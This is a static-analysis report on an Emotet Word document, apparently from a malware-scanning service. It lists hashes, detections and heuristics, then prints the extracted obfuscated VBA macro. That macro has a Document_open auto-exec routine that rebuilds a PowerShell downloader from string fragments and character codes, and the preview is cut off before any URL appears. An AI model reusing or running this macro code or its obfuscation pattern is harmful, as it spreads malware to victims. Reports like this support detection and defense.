Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 fb436e834f97206b…

MALICIOUS

Office (OLE)

302.8 KB Created: 2018-07-13 12:55:00 Authoring application: Microsoft Office Word First seen: 2019-12-09
MD5: 145b74c0555c8cf4897361ee27044205 SHA-1: c3296a193ab3590c3113599c76743505830ea10a SHA-256: fb436e834f97206b4c0abda298fa445eb11820db9e226a1e8ea6e596a59e1fd2
222 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The critical OLE_VBA_SHELL heuristic indicates the use of the Shell() function, and the OLE_VBA_PCODE_AUTOEXEC_EXEC heuristic confirms an auto-execution routine (Document_open) that uses execution tokens. The ClamAV detection explicitly names this as 'Doc.Downloader.Emotet-6960065-0', strongly suggesting the Emotet family. The VBA script, though obfuscated, contains reconstructed strings like 'powershell .(' and 'COMPECHELL' which indicate it attempts to execute PowerShell commands, likely to download and run a secondary payload.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-6960065-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6960065-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 36143 bytes
SHA-256: ec19ac900881d2d45806c8cc670759cf72a0d3831f2238278b733f6b126ca1b4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "WIJwsacARR"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
   lCffij = zaRBrD * iOiaDs * dwnoX * VETmqC - srdJR + jZdtw / QRtUR + osCHEs - GFWtGi / ozqml / JwMAA - 9658
   HNbkB = BKBlm * SKBJfW * ldRaG * wUsfCH - BTzsuJ + WJizF / ACwuDV + qFspmU - EnIiz / njwLJO / SsbzT - 40157
   LwisWR = SKQKB * AimXB * oNSIZ * VtuRrj - ohRKS + nnMppS / wfahif + iAltpE - AYSBSj / NljTUo / PbYcp - 67438
tPuBKtvVzz = Application.Run("czjdRipwJ", "" + WwcjdJwbJFaIzj + wbMRDnl + jRTmobOY + kzcfv + JcQdui + lScwEsrsfG + URCtHH + JGawzjhn + WZztiZqDf + cBBaw + LXlVAtNuU + lZrdsf + SNhNGTM + NnLwinvYU + nPunWmslurNJr)
   YNQzV = KGFOHi * ZpKwG * aAhkFD * OvazdU - LOiHUt + cJoZPD / MEhPD + wSrcLw - fOfGkn / IKHDd / FwrsL - 80525
End Sub


Attribute VB_Name = "CqtjacdsW"
Function jRTmobOY()
On Error Resume Next
RlaVb = 2687 * bfSGZ / (382 - MzZovD)
   BdzkJ = 53274 * IVmQE / (51109 - RqSWw)
PIcwsq = "" + ZjOCKAiIid + rYOiaphpUJfa + "pO" + sshDXVi + mMwFbAJ + "we" + lsUYKGUNAwCPDo + HlbbGsE + "Rs" + bVbjFpLiko + UhaiKViMmjYk + "HEL"
Oizot = 76623 * Ajlsdu / (14511 - jTzRUm)
wAmMbEFrW = "" + wWWQlswrjladi + ItTwppjbaVFPYS + "L " + LiGrWRbPqpBu + NzXFJaSFLCPv + "  " + Chr(34) + fcXYCEPvcEXqRE + omStHHsTIFOFWD + " .(" + VjjNRcrESSV + SJOzLOcdCnYk + " $en" + wpJYYbwVl + iLvNbomZlqwAIL + "V:" + zTtLdMMuOJuzrk + tCcDhPbwlK + "cOMs" + ApAMibwCrJ + wAzStohBsY + "PE" + jlSirvZ + nuYIiOPmujjmGE + "c[4," + JEzcRjciu + JQKwkzcLGaJLZS + "26," + rXTdhlRiqbqcGS + FRGWkkwod + "25" + pztXKCikLbz + wbFIHzFokw + "]-J" + MsNGZizn + jzEfZXhimFC + "OIN'"
EbahG = 11176 * AFdUE / (52994 - zVAZXj)
   Ifphi = 76691 * FDnPzK / (40216 - mwAbLW)
PGFnjZsorvr = "" + OCDsqFaWBQXl + GfztmJU + "')(" + CCwfbmwLz + LfDNTvfHToEzsR + " [St" + XmXfNZmAprawjC + WMrbbmariM + "rIN" + wFGNhtbZakf + DXcVjXQjfbfZS + "g]::" + MfAADLCkkMRq + zljFiYOzWzp + "JOI" + SdanObpNujijh + rIPjpEjqzUks + "N(" + JDLzSjGJZ + lSEBBWBXb + " '' " + iIQnmnbTi + wljTlORji + ", [C"
UTVik = 75136 * vXfUr / (25851 - LzdWv)
   RDmbo = 95402 * iUuIuU / (5391 - fwTiGX)
ULbSUlI = "" + qLQFjUMzcplkR + PMvOzlPAL + "HAR[" + lTEjbSvicJS + miYCfFd + "]]" + jOJAzYE + EmFitvsN + "( 3" + nfJwjrcQNMUFp + mpabTWaBwNtz + "6, " + cJRnowXXRcIXI + qwwMAGFSl + "113 " + MdKjntZak + SBwKOXz + ", "
MnfvP = 79690 * iVSDEd / (82561 - UqIWs)
   NjmHOw = 71944 * iWrfn / (42520 - uMipOw)
jZMXJjY = "" + ifMQBoIEzj + TjBVNqoWNk + "118" + DJOwFcpt + APCZptNNF + " ,1" + RjlomIB + JuNGMsaJzVqjX + "09, " + lToBvJzitGmZ + TToUNGGC + "61," + zSDOkiRt + CTUzcfK + "110" + AaSzzjBBOK + jWbDdFluLos + ", 1" + Hzzorhwqiw + UEiijCjlbTw + "01 ," + zaYVJLhZXrjCMW + lBapYIACMimJHw + "119," + HssHXUY + EzNBfTf + " 45," + qRVCXraWJiZX + DduUiVbQcq + " 11" + KnAjLGDVIW + UBhBKuL + "1 ,9"
XJYkwB = 71477 * ZpfQD / (62270 - VdTSUw)
zCXIJQ = "" + pzdnZGiiEjndcv + SLjjBoR + "8 ,1" + jhasMqGbbvzYzl + AMWtJsiG + "06,1" + liAvBiI + YHmsqjBAzNjUZ + "01" + BbubknwUiKF + jtQPDstzOUj + ",99," + sithjLRa + ohIFZnHhlI + " 1" + GwQRhWamHO + vQazdtGAmUc + "16 " + mULGmvEhYczQPd + HRZSjKJ + ", 3" + DrBZhmUi + COjUSKuXodjNQL + "2,"
CCQOcK = 97594 * jECIqq / (55801 - tislbz)
CIONHjtQEN = "" + nUjdqapZBjRS + rQjlOImjw + " 7" + ThSPEFvJdopOTt + joGLPmPB + "8, "
rbqGJ = 73137 * TaTGDw / (28996 - vvpcFP)
   vDrsoj = 63229 * RuMtD / (20000 - iTfoWj)
   LswzGW = 68777 * WtWJzi / (40976 - ddBBQ)
XoGJNUf = "" + wzviWbVBF + QwcXfSa + "101 " + zGhTpjthHk + qZIJqQzz + ", 11" + wSOOzSR + pwLUrRctmiou + "6 ," + tZZUOoBcmc + PEambPKw + " 4" + iEQrNXLQ + dwVoYzDI + "6, 8"
MjbiC = 46195 * AGYkW / (99155 - vUDWai)
VlVSoS = "" + ifRjmOdMB + vvdhppEL + "7," + ZHwjtEtjhFwq + DlofldMiIsqzq + "101" + lZFLhIYSAtKj + ILFfkiEBZZ + ",98,"
AhkTG = 84710 * jAjfJR / (48484 - GzwLf)
   qwGtt = 25734 * Awfqi / (66456 - fSolbu)
jGfIRMFnP = "" + bwzwlMnzmr + ZIaGfXMfJzZSGH + "67" + fiBpXMJWGtqX + sRoamwZ
... (truncated)